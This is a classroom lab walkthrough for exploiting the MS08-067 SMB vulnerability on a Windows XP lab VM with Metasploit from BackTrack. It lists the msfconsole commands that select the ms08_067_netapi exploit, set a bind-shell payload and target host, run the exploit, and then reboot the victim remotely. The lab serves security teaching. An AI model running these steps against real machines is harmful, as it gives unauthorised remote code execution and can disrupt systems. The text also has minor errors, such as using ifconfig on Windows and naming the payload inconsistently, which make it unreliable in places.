(Metasploit: MS08-067)

{ Establishing A Shell To The Vulnerable Machine }

0. Background Information
    • The vulnerability could allow remote code execution if an affected system received a specially crafted RPC request. On Microsoft Windows 2000, Windows XP, and Windows Server 2003 systems, an attacker could exploit this vulnerability without authentication to run arbitrary code. It is possible that this vulnerability could be used in the crafting of a wormable exploit.
    • Firewall best practices and standard default firewall configurations can help protect network resources from attacks that originate outside the enterprise perimeter.


1. Prerequisite
  1. Login to your WindowsVulnerable VM, as username instructor
    • For those of you that are not part of this class, this is a Windows XP machines that is vulnerable to the MS08-067 Vulnerability.


  2. On WindowsVulnerable01, obtain the IP Address.
    • START --> run --> cmd --> ifconfig
    • In my case, WindowsVulnerable01's IP Address


  3. Login to your Backtrack01 VM, as username root


  4. startx
    • Issue the startx command if you are currently are only seeing a console and not a graphical user interface.


2. Confirm Backtrack01 has an IP Address
  1. Fire up a console or terminal window
    • System --> Konsole


  2. ifconfig
    • Example:  No IP Address for eth0
      • If a valid IP address for eth0 is not displayed please move onto step 3.


    • Example: Valid IP Address for eth0


  3. vi /etc/network/interfaces


  4. Your file should look similar to the below screen shot


  5. cd /etc/init.d/


  6. ./networking start


  7. Confirm you have a valid IP address for eth0
    • In my case, eth0's IP address is


3. Stop Firewall on Backtrack01
  1. Start Firestarter
    • System --> Firestarter


  2. Click on Stop Firewall


5. Starting up the Metasploit MSF Console
  1. Fire up the MSF Console (See Below)
    • Note It might take a while to start.


  2. Once MSF Loads (See Below)


6. Searching For Exploits
  1. search ms08_067 (See Below)
    • Below we are searching for any exploits involving Microsoft Advisory MS08-067.
    • Only one exploit is returned (windows/smb/ms08_067_netapi)


7. Using an exploit
  1. use windows/smb/ms08_067_netapi


8. Selecting a Payload
  1. show payloads


  2. Look for windows/shell/bind_tcp
    • Each name is followed by a brief description


  3. set PAYLOAD windows/shell_bind_tcp


  4. show options
    • Notice the Required Column.  RPORT and SMBPIPE are already populated, but RHOST is not.
    • You will populate RHOST with the IP Address of WindowsVulnerable01.


  5. set RHOST
    • Note: Use the IP Address of WindowsVulnerable01


9. Exploit
  1. exploit


  2. Presto, you should now have a command prompt


  3. systeminfo
    • Proof of Lab: Issue a print screen for proof of lab then paste into a word document.


  4. As you can imagine you have pretty much can do anything you want.  Let's just do a simple shutdown.
    • Command: shutdown -r


  5. Migrate Over to WindowsVulnerable01
    • You will see a shutdown message similar to the below.


Proof of Lab
  1. Cut and Paste a screen shot that looks similar to Step #3 in Section 9 into a word document and upload to Moodle.
